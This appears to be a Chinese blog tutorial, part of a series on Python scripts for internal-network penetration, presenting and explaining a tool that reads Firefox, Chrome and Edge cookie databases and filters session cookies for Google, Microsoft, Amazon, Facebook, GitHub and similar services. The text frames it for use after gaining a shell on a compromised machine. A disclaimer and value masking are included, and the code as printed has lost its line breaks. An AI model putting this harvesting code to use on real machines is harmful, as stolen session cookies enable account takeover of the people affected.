当前位置: 首页 > news >正文

Python 实战:内网渗透中的信息收集自动化脚本(5)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这次我们来讲解关于使用python脚本获得cookie,这里或许有疑问,相比于浏览器或者抓包工具来获取cookie,那么用脚本来获取cookie有哪些优势呢,这里主要有两点

  1. 离线获取:无需浏览器处于运行状态,只要能访问到本地 Cookie 文件,即可获取历史存储的 Cookie,而开发者模式需要浏览器实时运行且用户手动操作,抓包工具需要依赖实时网络请求。
  2. 批量提取:可一次性读取浏览器存储的所有符合规则的 Cookie,无需逐个页面或请求查看。

在内网渗透中,已经getshell获得系统的权限下,这种读取cookie的方式就尤为合适了。

接下来通过代码来展示如何获取cookie,代码如下

import sqlite3
import os
import platform
from pathlib import Pathdef show_security_warning():print("="*50)print("⚠️ 安全与法律声明 ⚠️")print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")print("="*50)confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()if confirm != 'y':print("程序已退出")exit(0)# 获取不同浏览器在不同系统下的默认Cookie路径(优化Edge路径检测)
def get_browser_cookie_paths(browser):system = platform.system()paths = []try:if browser == "firefox":# Firefox: 所有系统均使用SQLite,路径格式统一if system == "Windows":base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"elif system == "Darwin":  # macOSbase = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"elif system == "Linux":base = Path.home() / ".mozilla" / "firefox"# 查找所有配置文件中的cookies.sqliteif base.exists():for profile in base.iterdir():if profile.is_dir():cookie_file = profile / "cookies.sqlite"if cookie_file.exists():paths.append(str(cookie_file))elif browser in ["chrome", "edge"]:# Chrome/Edge: 基于Chromium,优化路径检测(支持根目录和子配置文件夹)if system == "Windows":# Chrome默认路径chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"# Edge默认路径edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"base = chrome_base if browser == "chrome" else edge_baseelif system == "Darwin":base = Path.home() / "Library" / "Application Support" / ("Google/Chrome" if browser == "chrome" else "Microsoft Edge")elif system == "Linux":base = Path.home() / ".config" / ("google-chrome" if browser == "chrome" else "microsoft-edge")# 【优化点】:先检查根目录,再检查常见子配置文件夹(覆盖特殊路径场景)if base.exists():# 检查顺序:根目录 → Default → Profile 1 → Profile 2(适配更多场景)for profile in ["", "Default", "Profile 1", "Profile 2"]:  if profile:  # 非空字符串表示子文件夹cookie_file = base / profile / "Cookies"else:  # 空字符串表示根目录(User Data直接存放Cookies)cookie_file = base / "Cookies"if cookie_file.exists():paths.append(str(cookie_file))elif browser == "safari":# Safari (仅macOS): 存储在~/Library/Cookies/Cookies.binarycookies(二进制格式)if system == "Darwin":cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"if cookie_file.exists():paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]except Exception as e:return [f"获取路径失败:{str(e)}"]# 读取Cookie数据库(适配不同浏览器的表结构)
def read_cookies(cookie_path, browser):try:# 不同浏览器的表名和字段可能不同if browser in ["firefox"]:# Firefox: 表名moz_cookies,字段顺序:host, name, valuequery = "SELECT host, name, value FROM moz_cookies"elif browser in ["chrome", "edge"]:# Chromium系: 表名cookies,字段:host_key, name, valuequery = "SELECT host_key, name, value FROM cookies"else:return []with sqlite3.connect(cookie_path) as conn:# 解决Chromium数据库锁定问题(只读模式)conn.execute("PRAGMA query_only = 1")c = conn.cursor()c.execute(query)return c.fetchall()  # (host, name, value)except sqlite3.Error as e:print(f"数据库读取错误:{e}")return []def main():show_security_warning()# 1. 选择浏览器browsers = ["firefox", "chrome", "edge", "safari"]print("\n支持的浏览器:", ", ".join(browsers))browser = input("请输入要查询的浏览器(如firefox):").strip().lower()if browser not in browsers:print("不支持的浏览器")return# 2. 获取默认路径或手动输入default_paths = get_browser_cookie_paths(browser)print(f"\n{browser}的默认Cookie路径(可能有多个):")for i, path in enumerate(default_paths, 1):print(f"{i}. {path}")use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:cookie_path = default_paths[0]else:cookie_path = input("请手动输入Cookie数据库路径:").strip()if not Path(cookie_path).exists():print("路径不存在")return# 3. 读取并筛选Cookieif browser == "safari":print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")returncookies_data = read_cookies(cookie_path, browser)if not cookies_data:print("未读取到Cookie数据")return# 目标Cookie规则target_cookies = {".amazon.com": ["aws-userInfo", "aws-creds"],".google.com": ["OSID", "HSID", "SID", "SSID", "APISID", "SAPISID", "LSID"],".microsoftonline.com": ["ESTSAUTHPERSISTENT"],".facebook.com": ["c_user", "cs"],".onelogin.com": ["sub_session_onelogin.com"],".github.com": ["user_session"],".live.com": ["RPSSecAuth"],}# 4. 输出结果(隐藏部分敏感值)print("\n=== 筛选结果 ===")found = Falsefor item in cookies_data:host, name, value = itemfor domain in target_cookies:if host.endswith(domain) and name in target_cookies[domain]:# 隐藏中间部分值hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else valueprint(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")found = Trueif not found:print("未找到符合规则的Cookie")if __name__ == "__main__":main()

1. 导入模块部分

import sqlite3
import os
import platform
from pathlib import Path
  • sqlite3:用于操作 SQLite 数据库(大多数浏览器的 Cookie 以 SQLite 格式存储)
  • os:用于获取系统环境变量(如 Windows 的 APPDATA 路径)
  • platform:用于判断当前操作系统(Windows/macOS/Linux)
  • Path(来自 pathlib):提供更便捷的路径处理方法,支持跨平台路径操作

2. 安全提示函数 show_security_warning()

def show_security_warning():print("="*50)print("⚠️ 安全与法律声明 ⚠️")print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")print("="*50)confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()if confirm != 'y':print("程序已退出")exit(0)
  • 功能:程序启动时强制显示安全声明,强调合法性和数据敏感性
  • 逻辑:只有用户输入 'y' 才继续执行,其他情况直接退出

3. 浏览器 Cookie 路径获取函数 get_browser_cookie_paths(browser)

def get_browser_cookie_paths(browser):system = platform.system()  # 获取当前系统(Windows/Darwin即macOS/Linux)paths = []try:# 根据浏览器类型和系统,定义不同的默认路径规则if browser == "firefox":# Firefox的路径规则(所有系统均使用cookies.sqlite文件)if system == "Windows":base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"elif system == "Darwin":  # macOSbase = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"elif system == "Linux":base = Path.home() / ".mozilla" / "firefox"# 查找所有配置文件中的cookies.sqliteif base.exists():for profile in base.iterdir():if profile.is_dir():cookie_file = profile / "cookies.sqlite"if cookie_file.exists():paths.append(str(cookie_file))# Chrome和Edge(基于Chromium内核,路径规则相似)elif browser in ["chrome", "edge"]:if system == "Windows":chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"base = chrome_base if browser == "chrome" else edge_base# ... 省略macOS和Linux的路径定义 ...# 优化点:按优先级检查路径(根目录 → Default → Profile 1等)if base.exists():for profile in ["", "Default", "Profile 1", "Profile 2"]:  cookie_file = base / profile / "Cookies" if profile else base / "Cookies"if cookie_file.exists():paths.append(str(cookie_file))# Safari(特殊二进制格式,仅macOS支持)elif browser == "safari":if system == "Darwin":cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"if cookie_file.exists():paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")# 返回结果处理return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]except Exception as e:return [f"获取路径失败:{str(e)}"]
  • 核心功能:根据浏览器类型和操作系统,自动查找默认的 Cookie 文件路径
  • 细节处理:
    • 针对不同浏览器(Firefox/Chrome/Edge/Safari)的路径特性分别处理
    • 考虑多配置文件场景(如 Chrome 的 "Default"、"Profile 1" 等)
    • 对 Safari 特殊说明(二进制格式,需专用工具解析)
    • 异常处理:路径获取失败时返回错误信息

4. Cookie 读取函数 read_cookies(cookie_path, browser)

def read_cookies(cookie_path, browser):try:# 不同浏览器的SQLite表结构不同,需使用对应查询语句if browser in ["firefox"]:query = "SELECT host, name, value FROM moz_cookies"  # Firefox表名和字段elif browser in ["chrome", "edge"]:query = "SELECT host_key, name, value FROM cookies"  # Chromium系表名和字段else:return []# 连接数据库并读取数据with sqlite3.connect(cookie_path) as conn:conn.execute("PRAGMA query_only = 1")  # 只读模式,避免锁定浏览器数据库c = conn.cursor()c.execute(query)return c.fetchall()  # 返回结果格式:(host/host_key, name, value)except sqlite3.Error as e:print(f"数据库读取错误:{e}")return []
  • 核心功能:连接浏览器的 Cookie 数据库(SQLite 格式),读取 Cookie 的核心信息(域名、名称、值)
  • 关键处理:
    • 适配不同浏览器的表结构差异(Firefox 用moz_cookies表,Chromium 系用cookies表)
    • 设置PRAGMA query_only = 1:以只读模式打开,避免浏览器运行时数据库被锁定的问题
    • 异常捕获:处理 SQLite 操作可能出现的错误(如文件损坏、权限不足)

5. 主函数 main()

def main():show_security_warning()  # 先显示安全提示# 1. 选择浏览器browsers = ["firefox", "chrome", "edge", "safari"]print("\n支持的浏览器:", ", ".join(browsers))browser = input("请输入要查询的浏览器(如firefox):").strip().lower()if browser not in browsers:print("不支持的浏览器")return# 2. 获取Cookie路径(默认或手动输入)default_paths = get_browser_cookie_paths(browser)print(f"\n{browser}的默认Cookie路径(可能有多个):")for i, path in enumerate(default_paths, 1):print(f"{i}. {path}")# 选择使用默认路径还是手动输入use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:cookie_path = default_paths[0]else:cookie_path = input("请手动输入Cookie数据库路径:").strip()if not Path(cookie_path).exists():print("路径不存在")return# 3. 读取并筛选Cookie(跳过Safari,因需特殊解析)if browser == "safari":print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")returncookies_data = read_cookies(cookie_path, browser)if not cookies_data:print("未读取到Cookie数据")return# 4. 筛选敏感Cookie(定义目标规则)target_cookies = {".amazon.com": ["aws-userInfo", "aws-creds"],".google.com": ["OSID", "HSID", "SID", "SSID"],  # 谷歌账号相关Cookie".microsoftonline.com": ["ESTSAUTHPERSISTENT"],  # 微软账号相关# ... 省略其他规则 ...}# 5. 输出筛选结果(隐藏部分敏感值)print("\n=== 筛选结果 ===")found = Falsefor item in cookies_data:host, name, value = itemfor domain in target_cookies:if host.endswith(domain) and name in target_cookies[domain]:# 敏感值部分隐藏(显示前5后5字符,中间用***代替)hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else valueprint(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")found = Trueif not found:print("未找到符合规则的Cookie")
  • 核心流程:程序的主控制逻辑,串联各功能模块
  • 步骤解析:
    1. 先调用安全提示函数,确保用户确认合规性
    2. 让用户选择浏览器,校验输入合法性
    3. 获取并展示默认 Cookie 路径,支持用户选择默认路径或手动输入
    4. 对非 Safari 浏览器,调用read_cookies读取数据
    5. target_cookies规则筛选敏感 Cookie
    6. 输出结果时对敏感值进行部分隐藏,减少泄露风险

http://www.dtcms.com/a/356493.html

相关文章:

  • 2025.8.29总结
  • MFC视图中绘制图形缩放和滚动条的处理
  • C/C++---预定义常量
  • Fast-LIVO2算法与其他激光雷达-惯性-视觉里程计算法相比有何优势?
  • 【LeetCode 热题 100】62. 不同路径——(解法二)递推
  • Spring Security 传统 web 开发场景下开启 CSRF 防御原理与源码解析
  • “我店 + RWA”来袭:重构商业价值,解锁消费投资新密码
  • 大模型入门学习微调实战:基于PyTorch和Hugging Face电影评价情感分析模型微调全流程(附完整代码)手把手教你做
  • C++基础(④链表反转(链表 + 迭代 / 递归))
  • Linux - 中文显示乱码问题解决方法(编码查看及转换)- 学习/实践
  • 对于牛客网—语言学习篇—编程初学者入门训练—函数类型:BC156 牛牛的数组匹配及BC158 回文数解析
  • Total PDF Converter多功能 PDF 批量转换工具,无水印 + 高效处理指南
  • docker 搭建zookper集群,快照虚拟机多机模拟
  • 2025数学建模国赛AI提示词模板
  • 如何解决网关断网后时间不再统计的问题?无RTC子设备如何打通主网关的时间同步功能?
  • 法律审查prompt收集
  • 高并发内存池(19)-用基数树优化
  • IDA-pro-mcp 的核心功能 常用的prompt
  • Mybatis的常用标签
  • word去空格去空行_word辅助工具 word批量处理
  • 【C++】类与对象(上)
  • Matlab实现基于CPO-QRCNN-BiGRU-Attention注意力多变量时间序列区间预测
  • FPGA实现1553B BC控制器IP方案
  • 【AOSP】Android Dump 开发与调试指南
  • Replay – AI音乐伴奏分离工具,自动分析音频内容、提取主唱、人声和伴奏等音轨
  • 栈和队列OJ习题
  • 【物联网】关于 GATT (Generic Attribute Profile)基本概念与三种操作(Read / Write / Notify)的理解
  • 如何在mysql中执行创建数据库的脚本文件?
  • Spring Boot 使用 RestTemplate 调用 HTTPS 接口时报错:PKIX path building failed 解决方案
  • Linux下的网络编程SQLITE3详解